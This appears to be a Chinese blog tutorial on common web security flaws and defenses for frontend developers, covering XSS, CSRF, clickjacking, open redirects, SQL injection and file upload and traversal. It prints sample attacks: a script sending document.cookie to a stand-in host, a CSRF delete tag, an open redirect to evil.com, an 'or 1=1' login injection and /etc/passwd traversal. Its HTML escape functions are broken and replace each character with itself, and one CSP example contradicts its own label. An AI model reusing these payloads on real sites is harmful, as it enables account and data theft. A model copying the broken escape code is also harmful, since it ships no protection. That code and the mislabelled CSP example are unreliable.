前言
对于前端开发来说,不管是日常开发还是面试中,都或多或少接触过安全相关的问题。那到底什么是安全呢?一般而言,大家肯定第一时间会想到XSS、CSRF等。当然这个确实是安全方面的问题,但是安全问题是个很大很广的话题,并不仅仅只有这两种安全问题,这里就简单介绍下web开发中涉及到的安全问题和如何进行一些简单的防范手段
网络安全
浏览器
- 同源策略
- 恶意网址拦截
浏览器中的安全防御肯定大家都接触过,比较典型的跨域问题就是因为浏览器的安全防御导致的。因为浏览器为了安全考虑设定了同源策略,这样就导致了不同源站之间的通信被标记为跨域访问。
现在的浏览器经历过很多个版本的迭代与优化,自带了一些网址的检测手段,比如一般的xss攻击的恶意网站在浏览器这一步骤中就直接被拦截掉了,如下图所示:
HTTPS
- HTTPS的下层协议是SSL/TLS(HTTPS实现安全传输的关键),HTTP的下层传输协议是TCP/IP。
- HTTP是明文传输而HTTPS传输经过复杂的加密过程。
中间人攻击
中间人攻击(Man-in-the-Middle Attack, MITM
)是一种由来已久的网络入侵手段.
简而言之,所谓的MITM攻击就是通过拦截正常的网络通信数据
,并进行数据篡改
和嗅探
来达到攻击的目的,而通信的双方却毫不知情。
防御:
- 确保当前你所访问的网站使用了HTTPS
- 不要在公共Wi-Fi上发送敏感数据
- 如果你的网站使用了SSL,确保你禁用了不安全的SSL/TLS协议。
- 不要点击恶意链接或电子邮件。
DDOS 攻击
通过不停的去访问你的网站,让你的网站负荷过大承载不了而使网站无法被其他人访问
编码安全
XSS(Cross-site scripting)
概念: 跨站脚本攻击(Cross-site scripting,通常简称为XSS)发生在客户端,跨站脚本攻击是指通过存在安全漏洞的Web网站注册用户的浏览器内运行非法的HTML标签或JavaScript进行的一种攻击
原理: XSS 的原理是恶意攻击者往 Web 页面里插入恶意可执行网页脚本代码,当用户浏览该页之时,嵌入其中 Web 里面的脚本代码会被执行,从而可以达到攻击者盗取用户信息或其他侵犯用户安全隐私的目的。
漏洞:
- 利用虚假输入表单骗取用户个人信息。
- 利用脚本窃取用户的Cookie值,被害者在不知情的情况下,帮助攻击者发送恶意请求。
- 显示伪造的文章或图片。
类型:
1. 非持久型(反射型):
原理: 即反射型跨站脚本漏洞,是目前最普遍的跨站类型。跨站代码一般存在于链接中,请求这样的链接时,跨站代码经过服务端反射回来,这类跨站的代码不存储到服务端(比如数据库中)。
特点:
- 即时性,不经过服务器存储,直接通过 HTTP 的 GET 和 POST 请求就能完成一次攻击,拿到用户隐私数据。
- 攻击者需要诱骗点击,必须要通过用户点击链接才能发起
- 反馈率低,所以较难发现和响应修复
- 盗取用户敏感保密信息
漏洞:
http://xxxx.com/index.html?params=<script>alert(document.cookie)</script>
<html>
<head>
<script> let dom = document.querySelectorAll('.dom');
dom.innerHtml = params; </script>
</head>
<body>
<p>
<span class='dom'></span>分享给你
</p>
</body>
</html>
同源策略不限制img标签,img可能是恶意网址的链接,那么可以构造一个看不见的img,然后把用户的cookie发送到恶意网址的服务器
var img=document.createElement("img");
img.src="http://xxx.com/cookie=?"+escape(document.cookie);
document.body.appendChild(img);
防御:
-
Web 页面渲染的所有内容或者渲染的数据都必须来自于服务端。
-
尽量不要从
URL
、document.referrer
、document.forms
等这种 DOM API 中获取数据直接渲染。 -
尽量不要使用
eval
、new Function()
、document.write()
、document.writeln()
、window.setInterval()
、window.setTimeout()
、innerHTML
、document.createElement()
等可执行字符串的方法。
如果是在需要使用上面的一些方法,也必须对涉及 DOM 渲染的方法传入的字符串参数做 escape 转义。且前端渲染的时候对任何的字段都需要做 escape 转义编码。
2. 持久型(存储型):
概念: 持久型 XSS 漏洞,一般存在于 Form 表单提交等交互功能,比如文章留言、提交文本信息等,黑客利用 XSS 漏洞,将内容经正常功能提交进入数据库持久保存,当前端页面获得后端从数据库中读出的注入代码时,恰好将其渲染执行。
漏洞:
- POST 请求提交表单后端没做转义直接入库。
- 后端从数据库中取出数据没做转义直接输出给前端。
- 前端拿到后端数据没做转义直接渲染成 DOM。
特点:
- 持久性,植入在数据库中
- 盗取用户敏感私密信息
- 危害面广
防御:
- CSP
CSP 本质上就是建立白名单,开发者明确告诉浏览器哪些外部资源可以加载和执行。只需要配置规则,如何拦截是由浏览器实现的。可以通过这种方式来尽量减少 XSS 攻击。 通常可以通过两种方式来开启 CSP:
- 设置 HTTP Header 中的 Content-Security-Policy
- 设置 meta 标签的方式
以设置 HTTP Header 来举例:
- 只允许加载本站资源
Content-Security-Policy: default-src 'self'
- 只允许加载 HTTPS 协议图片
Content-Security-Policy: img-src https://*
- 允许加载任何来源框架
Content-Security-Policy: child-src 'none'
- 转译字符
function escape(str) {
str = str.replace(/&/g, '&')
str = str.replace(/</g, '<')
str = str.replace(/>/g, '>')
str = str.replace(/"/g, '&quto;')
str = str.replace(/'/g, ''')
str = str.replace(/`/g, '`')
str = str.replace(///g, '/')
return str
}
- httpOnly cookie
- 限制输入内容长度
- 限制输入内容
3. DOM(DOM XSS):
概念: 是一种发生在客户端DOM(Document Object Model文档对象模型)中的跨站漏洞,很大原因是因为客户端脚本处理逻辑导致的安全问题。 原理:
0.攻击者构造出特殊数据,其中包含恶意代码。
1.用户浏览器执行了恶意代码。
2.恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。
防御:
- 对于
url
链接(例如图片的src
属性),那么直接使用encodeURIComponent
来转义。 - 非
url
,我们可以这样进行编码:
function encodeHtml(str) {
return str.replace(/"/g, '"')
.replace(/'/g, ''')
.replace(/</g, '<')
.replace(/>/g, '>');
}
- 要假定所有输入都是可疑的,必须对所有输入中的
script
、iframe
等字样进行严格的检查。这里的输入不仅仅是用户可以直接交互的输入接口,也包括HTTP请求中的Cookie
中的变量,HTTP
请求头中的变量等。 - 不仅要验证数据的类型,还要验证其格式、长度、范围和内容。
- 不仅仅在客户端做数据的验证与过滤,关键的过滤步骤在服务端进行,双端都要验证。
- 对输出的数据也要检查,数据库里的值有可能会在一个大网站的多处都有输出,即使在输入做了编码等操作,在各处的输出点时也要进行安全检查。
- 在网站的
Cookie
加上HttpOnly
属性:Set-Cookie: JSESSIONID=xxxxxx;Path=/;Domain=xxxx.com;HttpOnly
- 将用户输入的特殊字符例如
<
,>
过滤掉,这样将用户输入的特殊字符例如<
,>
过滤掉,这样<script>
可能会变成’script’被存到数据库里。另一方面还可以对输出进行编码/
转义操作,浏览器收到以后,就会认为是数据,把<script>
作为字符串给显示出来,而不是执行后面的代码!
CSRF(Cross-site request forgery)
概念: CSRF
全称是跨站请求伪造( Cross Site Request Forgery
)
漏洞:
- 用户已经登录了站点 A,并在本地记录了
cookie
- 在用户没有登出站点 A 的情况下(也就是
cookie
生效的情况下),访问了恶意攻击者提供的引诱危险站点 B (B 站点要求访问站点A)。 - 站点 A 没有做任何
CSRF
防御
<img src="http://www.a.com/delete?id=12345" />
防御:
-
Get
请求不对数据进行修改 -
不让第三方网站访问到用户
Cookie
-
阻止第三方网站请求接口
-
请求时附带验证信息,比如验证码或者
Token
-
用户登陆时,设置一个
CSRF
的随机token
,同时后续都在请求后面带上这个token
-
生成表单的同时,推送
token
值。表单提交,判断token
是否一致,如果不一致或没有这个值,判断为CSRF
攻击,并记录日志 ,如一致就放行,并重新生成下一个新的token
-
重要操作增加二次图片验证码或滑动验证码等
-
致命操作使用二次密码验证或人脸识别等
-
Referer
-
SameSite cookie
Samesite=Strict
被称为是严格模式,表明这个Cookie
在任何情况都不可能作为第三方的Cookie
点击劫持
概念: 攻击方式就是在某些操作的按钮上加一层透明的iframe
。
原理: 用户在登陆 A 网站的系统后,被攻击者诱惑打开第三方网站,而第三方网站通过 iframe 引入了 A 网站的页面内容,用户在第三方网站中点击某个按钮(被装饰的按钮),实际上是点击了 A 网站的按钮
漏洞:
- 隐蔽性较高,骗取用户操作
- 页面覆盖攻击
- 利用
iframe
或者其它标签的属性
防御:
0.使用HTTP
头防御
通过配置 nginx
发送 X-Frame-Options
响应头.
这个HTTP
响应头 就是为了防御用 iframe 嵌套的点击劫持攻击。
这样浏览器就会阻止嵌入网页的渲染
。
该响应头有三个值可选,分别是:
DENY
,表示页面不允许通过 iframe 的方式展示。SAMEORIGIN
,表示页面可以在相同域名下通过 iframe 的方式展示。ALLOW-FROM
,表示页面可以在指定来源的 iframe 中展示。
2.使用 Javascript
防御
判断顶层视口的域名是不是和本页面域名一致,如果不一致就让恶意网页自动跳转到我方的网页。
if (top.location.hostname !== self.location.hostname) {alert("您正在访问不安全的页面,即将跳转到安全页面!") top.location.href = self.location.href;
}
URL跳转漏洞
概念: 利用URL跳转漏洞来诱导安全意识低的用户点击,导致用户信息泄露或者资金的流失。其原理是黑客构建恶意链接(链接需要进行伪装,尽可能迷惑),发在QQ群或者是浏览量多的贴吧/论坛中。 安全意识低的用户点击后,经过服务器或者浏览器解析后,跳到恶意的网站中。
漏洞:
Header
头跳转Javascript
跳转META
标签跳转
<?php
$url=$_GET['jumpto'];
header("Location: $url");
?>
http://www.wooyun.org/login.php?jumpto=http://www.evil.com
防御:
referer
限制token
SQL注入
概念: SQL
注入攻击(SQL Injection
),简称注入攻击、SQL
注入,被广泛用于非法获取网站控制权,是发生在应用程序的数据库层上的安全漏洞。在设计程序,忽略了对输入字符串中夹带的SQL
指令的检查,被数据库误认为是正常的SQL
指令而运行,从而使数据库受到攻击,可能导致数据被窃取、更改、删除,以及进一步导致网站被嵌入恶意代码、被植入后门程序等危害。
漏洞:
- 表单提交,主要是
POST
请求,也包括GET
请求; URL
参数提交,主要为GET
请求参数;Cookie
参数提交;HTTP
请求头部的一些可修改的值,比如Referer
、User_Agent
等;- 一些边缘的输入点,比如.mp3文件的一些文件信息等。
比如登录的时候,用户输入了“admin' or 1=1 --”
,
// 漏洞代码:
select * from user where username='${username}' and password=‘${password}'
// 执行:
select * from user where username=' admin' or 1=1 -- ' and password=null
或者 “admin’ --”
<form action="/login" method="POST"><p>Username: <input type="text" name="username" /></p><p>Password: <input type="password" name="password" /></p><p><input type="submit" value="登陆" /></p>
</form>
let querySQL = `SELECT *FROM userWHERE username='${username}'AND psw='${password}'
`;
防御
- 所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。当前几乎所有的数据库系统都提供了参数化SQL语句执行接口,使用此接口可以非常有效的防止SQL注入攻击。
- 对进入数据库的特殊字符(’”<>&*;等)进行转义处理,或编码转换。
- 确认每种数据的类型,比如数字型的数据就必须是数字,数据库中的存储字段必须对应为int型。
- 数据长度应该严格规定,能在一定程度上防止比较长的SQL注入语句无法正确执行。
- 网站每个数据层的编码统一,建议全部使用UTF-8编码,上下层编码不一致有可能导致一些过滤模型被绕过。
- 严格限制网站用户的数据库的操作权限,给此用户提供仅仅能够满足其工作的权限,从而最大限度的减少注入攻击对数据库的危害
- 避免网站显示SQL错误信息,比如类型错误、字段不匹配等,防止攻击者利用这些错误信息进行一些判断。
- 在网站发布之前建议使用一些专业的SQL注入检测工具进行检测,及时修补这些SQL注入漏洞。
文件安全
上传文件漏洞
概念: 由于文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,导致允许攻击者向某个可通过 Web 访问的目录上传任意PHP文件,并能够将这些文件传递给 PHP 解释器,就可以在远程服务器上执行任意PHP脚本。
漏洞:
- …/…/attack.jpg
- /etc/passwd
- html和svg
<svg viewBox="0 0 100 100" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><script>alert(111)</script><rect x="25" y="25" width="50" height="50" />
</svg>
- 服务器磁盘
除了文件本身的问题之外,还有一种情况我们需要考虑到的是文件上传之后的处理。如果我们将用户上传的文件存储到了本地,而没有限制用户的上传频率的话,就很有可能被攻击者利用。攻击者会频繁的上传文件导致服务器磁盘占用 100%,撑爆服务器之后没办法处理程序的其它任务进而导致服务器宕机。
防御:
- 检查服务器是否判断了上传文件类型及后缀。前端也限制下上传的文件类型后缀。
- 文件上传目录禁止执行脚本解析,避免攻击者进行二次攻击。
- 对用户传入的文件名在使用的时候尽量进行白名单过滤,可以的话尽量不要使用用户传入文件名,杜绝从文件名上导致的安全漏洞。
- 对文件内容本身做好格式验证,黑名单或者白名单的方式都可以,不过白名单的方式安全性会更高一点。文件格式不能简单的判断文件后缀或者是表单上传时带有的
Content-Type
字段,因为这两个是用户上传内容,都是可被构造的。 - 如果允许用户上传
.svg
格式图片的话,需要针对 SVG 内容进行 HTML 解析,过滤掉<script>
,<foreignObject>
等相关标签。 - 如果用户上传的压缩包,程序有解压的行为,那么不仅要按照上述规则校验压缩包本身,还需要按照相同的逻辑校验解压之后的所有内容。同时针对服务器磁盘被撑爆的情况,推荐限制用户的上传频率降低风险,同时增加磁盘监控告警实时关注线上服务器的状态。如果存储到本地不是必须的话也可以使用外部存储服务来降低服务器这块的风险。
任意文件下载
概念: 处理用户请求下载文件时,允许用户提交任意文件路径,并把服务器上对应的文件直接发送给用户,这将造成任意文件下载威胁。如果让用户提交文件目录地址,就把目录下的文件列表发给用户,会造成目录遍历安全威胁。
防御:
- 文件路径保存至数据库,让用户提交文件对应ID下载文件
- 下载文件之前做权限判断
- 不允许提供目录遍历
权限安全
垂直权限
由于应用程序没有做鉴权,或鉴权做的比较粗,导致的恶意用户可以通过穷举遍历管理页面的URL,就可以访问或控制其他角色拥有的数据或管理功能,达到权限提升目的。
可以采用细粒度鉴权策略,判断当前用户是否拥有功能的权限。
水平权限
应用程序根据用户提交的ID(如订单id、用户id、商品id等),在没有校验身份的情况下,直接返回用户信息,从而会造成攻击者越权遍历所有其他用户信息的问题。
涉及到用户数据的操作应进行严格的身份校验,可以从服务端登录态cookie或session信息中取值校验,禁止通过用户提交的ID信息直接进行数据操作
目录遍历
程序没有充分过滤用户输入的 ../
之类的目录跳转符,导致用户可以通过提交目录跳转来遍历服务器上的任意文件。使用多个..
符号,不断向上跳转,最终停留在根 /
,通过绝对路径去读取任意文件。
防御:方法就是需要对 URL 或者参数进行 ../
,./
等字符的转义过滤。
信息安全
弱口令漏洞
概念: 弱口令没有严格和准确的定义,通常认为容易被别人猜测到或被破解工具破解的口令均为弱口令。
防御:
- 不使用空口令或系统缺省的口令,这些口令众所周之,为典型的弱口令。
- 口令长度不小于8个字符。
- 口令不应该为连续的某个字符(例如:AAAAAAAA)或重复某些字符的组合(例如:abc.abc.)。
- 口令应该为以下四类字符的组合,大写字母(A-Z)、小写字母(a-z)、数字(0-9)和特殊字符,每类字符至少包含一个。如果某类字符只包含一个,那么该字符不应为首字符或尾字符。
- 口令中不应包含本人、父母、子女和配偶的姓名和出生日期、纪念日期、登录名、E-mail地址等等与本人有关的信息,以及字典中的单词。
- 口令不应该为用数字或符号代替某些字母的单词。
- 口令应该易记且可以快速输入,防止他人从你身后很容易看到你的输入。
- 至少90天内更换一次口令,防止未被发现的入侵者继续使用该口令。
密码
漏洞:
- 数据库泄漏
- 服务器入侵
- 传输过程被窃听
防御:
- 存储安全:严禁明文存储
- 传输安全:严禁明文传输、限制频率
个人敏感信息
防御: 典型的如用户的身份证跟手机号,现在很多网站,只要一个身份证跟手机号,就拥有了很多权限,对于这部分信息的存储,也需要注意加密,且不能只使用简单的加密算法,特别不要将编码(如Base64)和密码算法混为一谈,前者不是密码算法。不要使用DES等低强度的密码算法,使用AES等高强度的加密算法
验证码安全
防御:
登陆、注册、短信验证、邮件验证等api往往会成为攻击者撞库、轰炸的目标。 在登陆、注册、短信发送、邮件发送必须加入图片验证码,同时验证码必须设置有效期和有效次数(一般为一次性),使用短信、邮件验证时,必须限制同一ID或接收者的验证码发送频率。
小程序安全问题
- 不写入敏感数据
- 接口鉴权且要放到后台服务或者云函数鉴权
- 代码管理
- 内容安全 对于包含用户输入内容,如评论、修改昵称、头像等功能。开发者需要自行调用信息过滤接口,判定内容是否有违规内容。对于没有配置相应功能的小程序,会被警告然后限制搜索
- 敏感数据
了解这些安全能给我们带来什么
- 可以为业务保驾护航,尽量提高别人的破解成本
- 拥有安全意识,在开发中多考虑一下安全问题,会让代码相对安全
- 会让眼界开阔
- 会让逻辑思维的方向更加多元化
- 会发现我们的产品或别人产品中的一些问题
小结
上面简单介绍了web中会遇到的一些常见的安全问题,这些安全问题是开发中比较常见的,在开发中可以多注意和留意关于安全的问题。这样可以避免一些漏洞被有心之人利用,如果以上内容可以帮助到你,请不要吝啬你的点赞。